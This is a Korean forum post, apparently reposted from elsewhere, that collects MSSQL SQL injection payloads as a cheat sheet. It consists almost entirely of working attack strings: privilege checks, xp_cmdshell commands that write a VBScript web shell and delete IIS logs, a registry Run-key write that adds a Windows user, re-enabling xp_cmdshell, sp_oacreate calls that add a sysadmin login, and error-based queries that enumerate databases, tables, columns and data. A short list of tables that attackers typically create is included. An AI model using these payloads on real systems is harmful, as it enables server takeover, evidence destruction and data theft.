강의 컨설팅 트레이닝 무료진단 무료책자 마케팅편지 마케팅정보공유 다이어리 서비스제휴 고객센터

SQL Injection 기법 정리(MSSQL)
작성자 : 13 김영철
등록날짜 : 2009.01.24 22:44
4,178

#########################################

# SQL Injection에 의해 자주 생성되는 테이블 명

#########################################

D99_CMD, D99_REG, D99_Tmp, DIY_TEMPCOMMAND_TABLE, t_jiaozhu, Siwebtmp,
NB_Commander_Tmp, comd_list, Reg_Arrt,  jiaozhu, Reg_Arrt, xiaopan, DIY_TEMPTABLE,
heige, kill_kk, SC_LOG, SC_TRAN

 

 

#########################################

# CHECK

#########################################

and 1=(select @@version) //version

 

and 1=(IS_SRVROLEMEMBER('sysadmin')) // 전체 권한(sysadmin,dbcreator,diskadmin,processadmin,serveradmin,setupadmin,securityadmin)

 

and 1=(IS_MEMBER('db_owner')) // 해당 DB 권한

 

;declare @a int;--  // 사용여부

and 0<>db_name() // DB명

and user>0 // USER명

 

 

#########################################

# 중국 해커들이 애용하는 공격패턴

#########################################

;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';-- // File

;exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt' // LOG

 

;exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add' // Registry

 

DROP TABLE kill_kk;CREATE TABLE kill_kk(subdirectory VARCHAR(100)윕
depth VARCHAR(100)윕[file] VARCHAR(100)) Insert kill_kk
exec master..xp_dirtree "D:/"윕 1윕1-- // Table 생성

 

DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

 

 

#########################################

# 공격 시나리오

#########################################

;DROP TABLE [X_5450];use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--


 And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 1 id,ResultTxt from [X_5450] order by [id]) T order by [id] desc)>0


;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--
 
;CREATE TABLE [X_5450]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] nvarchar(4000) NULL);insert into [X_5450](ResultTxt) exec master.dbo.xp_cmdshell 'dir c:';insert into [X_5450] values ('g_over');exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--
 
;use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'OSQL -E -S localhost -d master -Q "exec sp_addsrvrolemember dir c:,sysadmin"'--
 
;use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'OSQL -E -S localhost -d master -Q "exec sp_addlogin dir c:,xiaoxue"'--
 
;DROP TABLE [X_5450];use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--

 

 

#########################################

# 기타 쿼리문

#########################################

모든 db명 쿼리하기
and 1=(select name from master.dbo.sysdatabases where dbid=7)
and 1=(select name from master.dbo.sysdatabases where dbid=8)

 

특정db에서 사용자가 만든 테이블명 불러오기
and 0<>(select top 1 name from snortids.dbo.sysobjects where xtype=char(85))
and 0<>(select top 1 name from (select top 행증가 name from .dbo.sysobjects where xtype='U' order by name asc) as table1 order by name desc)

 

테이블의 컬럼정보 불러오기

특정 테이블고유ID 가져오기(char(97)+char(98)+char(99)=abc) 1061578820
and 0<>(select count(*) from snortids.dbo.sysobjects where xtype='U' and name=char(97)+char(99)+char(105)+char(100)+char(95)+char(101)+char(118)+char(101)+char(110)+char(116) and uid>(str(id)))

 

컬럼명 가져오기
and 0<>(select top 1 name from snortids.dbo.syscolumns where id=1061578820)
and 0<>(select top 1 name from (select top 행증가 name from snortids.dbo.syscolumns where id=1061578820 order by name asc) as table1 order by name desc)

 

데이터 가져오기
and 0<>(select top 1 char(94)+Cast(sig_name as varchar(8000))+char(94) from SnortIDS..acid_event)
and 0<>(select top 1 char(94)+Cast(컬럼명 as varchar(8000))+char(94) from SnortIDS..acid_event where 컬럼명 not in('이미얻은내용'))
and 0<>(select top 1 char(94)+Cast(컬럼명 as varchar(8000))+char(94) from (select top 행수 컬럼명 from SnortIDS.dbo.acid_event order by 컬럼명 asc) as table1 order by 컬럼명 desc)

[출처] 태쥐

"쇼핑몰·홈페이지·오픈마켓
블로그·페이스북·이메일 등의 각종 마케팅 글쓰기,
각종 광고, 영업, 판매, 제안서, 전단지
반응율 3배×10배 이상 높이는 마법의 8단계 공식"
자세히보기

Comments

번호 제목 글쓴이 날짜 조회
3225 내장 그래픽카드 죽이는 법 M 최고의하루 12.04 4494
3224 배너제작 프로그램 댓글9 17 미니 04.27 4473
3223 포토샵/일러스트레이터 초기화 시키기 2 천진난만 02.20 4440
3222 chgrp 명령어 사용법 13 김영철 01.29 4427
3221 ORA-12154 조치 방법 13 김영철 01.29 4426
3220 [팁] XMLHttpRequest를 사용할 때 한글 파라미터의 인코딩 처리 방법 13 김영철 01.29 4414
3219 ntdll.dll 오류 해결방법 M 최고관리자 01.12 4403
3218 php 설치관련 문의내용 정리 13 김영철 01.14 4328
3217 윈도우XP의 숨겨진 기능 60가지-1 M 최고의하루 12.24 4316
3216 TextArea 자동으로 늘리기 99 단국강토 02.16 4315
3215 IP 주소를 빠르게 변경시켜주는 프로그램 - FreshIP_v1.0 댓글12 2 비비드바비 04.29 4288
3214 헤더 M 최고의하루 12.20 4280
3213 제약조건(1) M 최고의하루 12.20 4277
3212 [JavaScript] 자바스크립트에서 정규식을 사용한 체크 99 단국강토 02.02 4243
3211 윈도우XP의 숨겨진 기능 60가지-2 M 최고의하루 12.24 4237
3210 이미지 워터마크 삭제프로그램 17 미니 04.27 4196
3209 네이트온 방화벽 뚫기 - SSH를 이용한 방화벽 우회하기 M 최고의하루 12.19 4195
3208 간단한 리룩스명령어 13 김영철 01.13 4192
3207 자바스크립트 라이브러리와 PHP함수 라이브러리 13 김영철 01.14 4189
3206 Daum의 Ajax 개발 사례 13 김영철 01.29 4185
3205 msxml 사용준비~!(checklist& 설정사항) 13 김영철 01.29 4181
열람중 SQL Injection 기법 정리(MSSQL) 13 김영철 01.24 4179
3203 [AIX]유용한 find 명령어에 대해서... 13 김영철 01.29 4169
3202 PHP 답변형 게시판 / 자료실 /PHP강좌 13 김영철 01.13 4163
3201 세션정보를 DB에 넣고 중복로그인 막고 사이트 통합로그인 13 김영철 01.13 4148
3200 MySQL, SQL문의 분류, Eclipse 셋팅, JDBC, 방명록 13 김영철 01.29 4121
3199 ASV 4.0 (Action Script Viewer 4.0) 99 단국강토 01.08 4090
3198 외부아이피 확인 댓글1 2 가이버김 09.14 4081
3197 TV를 모니터로 사용하기 M 운영자 12.23 4079
3196 이것은 AI파일 미리보기입니다. 댓글2 M 최고의하루 01.15 4071
마케팅
특별 마케팅자료
다운로드 마케팅자료
창업,경영
기획,카피,상품전략
동기부여,성취